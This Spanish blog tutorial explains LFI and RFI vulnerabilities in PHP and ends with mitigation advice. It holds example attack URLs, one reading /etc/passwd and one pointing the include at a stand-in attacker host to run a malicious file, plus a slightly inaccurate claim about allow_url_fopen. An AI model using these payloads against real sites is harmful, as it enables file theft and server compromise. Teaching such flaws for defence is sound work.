Siguiendo con la serie de artículos de vulnerabilidades en páginas Web, dónde ya hemos visto la vulnerabilidad de Command Injection y el Reconocimiento Web, hoy vamos a ver en qué consisten las vulnerabilidades LFI (Local File Inclusion) y RFI (Remote File Inclusion).

Artículo elaborado por José Arroyo Viana, administrador de sistemas y experto en ciberseguridad de Extra Software.

CONTENIDOS

¿QUÉ ES?

EJEMPLO DE LOCAL FILE INCLUSION

EJEMPLO DE REMOTE FILE INCLUSION

SOLUCIÓN

CONCLUSIÓN

¿Qué es?

Las vulnerabilidades LFI (Local File Inclusion o inclusión de archivos locales) son vulnerabilidades que permiten leer cualquier archivo que se encuentre dentro del mismo servidor, incluso si el archivo se encuentra fuera del directorio web donde está alojada la página.

Las vulnerabilidades RFI (Remote File Inlcusion o inclusión de archivos remotos) son similares a las vulnerabilidades LFI, pero en este caso en vez de acceder a un archivo local, accederemos a un archivo ubicado en un servidor diferente.

Vamos a ver un ejemplo de cada una de ellas para entenderlas mejor.

Ejemplo de LFI (Local File Inclusion)

Tenemos una web con una página principal llamada index.php (elaborada en PHP), que carga el contenido de otras páginas, las cuales le pasamos mediante un parámetro a la URL. La idea es que se va a mostrar por pantalla un archivo que estamos referenciando desde la variable $page que se almacenará en la variable $pagina y a la función include le pasaremos la variable $pagina para que nos la cargue y muestre por pantalla:

EjemploLFI1

A continuación, creamos las dos páginas que vamos a incluir, primero una página de inicio llamada inicio.html con el siguiente contenido:

EjemploLFI2

Y una página de contacto, llamada contacto.html, con el siguiente contenido:

EjemploLFI3

Ahora cargamos la página de inicio en nuestro navegador mediante la siguiente URL:

http://127.0.0.1/web/index.php?page=inicio.html

EjemploLFI4

Si ahora pulsamos sobre el enlace Contacto, nos carga la página contacto.html

EjemploLFI5

Si nos fijamos, nos carga la página que le pasamos como valor a la variable page. En este caso, como atacantes podemos pensar que es muy posible que esta Web sea vulnerable a LFI y podemos acceder a ficheros locales que estén fuera del directorio Web.

Por ejemplo, supongamos que hemos realizado un reconocimiento Web de la página y sabemos que el servidor donde está alojada es un equipo Linux. Nosotros sabemos que, en Linux, dentro del fichero /etc/passwd se guarda la lista de los usuarios locales del sistema. Vamos a ver qué pasa si modificamos la URL y en vez de pasarle a la variable $page los ficheros inicio.html y contacto.html, que están dentro del directorio de la Web, le pasamos el fichero del equipo /etc/passwd que está fuera de este directorio. La URL sería la siguiente:

http://127.0.0.1/web/index.php?page=/etc/passwd

Vemos como hemos conseguido cargar este fichero y por lo tanto la Web es vulnerable a LFI:

EjemploLFI6

Ejemplo de RFI (Remote File Inclusion)

En este caso la vulnerabilidad sería igual, pero cargando el fichero desde otro servidor. Esta vez la técnica se vuelve más peligrosa debido a que, como atacantes, podemos levantar un servidor Web y hacer que se ejecute en el equipo víctima un fichero que hemos alojado en este servidor, de forma que nos permita ganar acceso al equipo donde está alojada la Web.

Un ejemplo de la URL que se puede usar sería la siguiente:

http://127.0.0.1/web/index.php?page=http://direccion_equipo_atacante/fichero_malicioso

Solución

Para solucionar este tipo de vulnerabilidades nos tenemos que asegurar de que no se puedan incluir archivos remotos, esto lo podemos hacer en el servidor Web deshabilitando en el fichero de configuración de PHP llamado php.ini los parámetros allow_url_fopen y allow_url_include.

SolucionLFI1
  • allow_url_fopen: Permite tratar las URLs como archivos. Si está habilitada tendremos una vulnerabilidad LFI.
  • allow_url_include: Permite hacer llamadas include/require a URLs como archivos. Si está habilitada junto con la anterior tendremos una vulnerabilidad LFI y RFI.

También tendremos que evitar que el código pueda incluir una variable para cargar una página. El código que hemos venido usando se vería así:

SolucionLFI1

De esta manera, el usuario podrá jugar con la variable $page y cargar páginas. Lo que debemos hacer es poner en el include directamente la página que queremos cargar sin incluir una variable con GET o POST:

SolucionLFI3

En sistemas gestores de contenidos o CMS siempre es importante mantener el propio CMS y los plugins o componentes actualizados para corregir las vulnerabilidades corregidas por el fabricante.

Conclusión

Como hemos visto, tanto el LFI como el RFI son vulnerabilidades muy peligrosas que ponen en riesgo la integridad de nuestra página Web e incluso pueden llegar a comprometer por completo nuestro servidor Web. Dependiendo de donde esté alojado, pueden incluso acceder a otras redes internas que no están expuestas directamente a Internet.

Finalmente, en el apartado Solución os hemos dejado unas pautas de seguridad mínimas que se deben seguir para evitar ser víctima de este tipo de vulnerabilidades.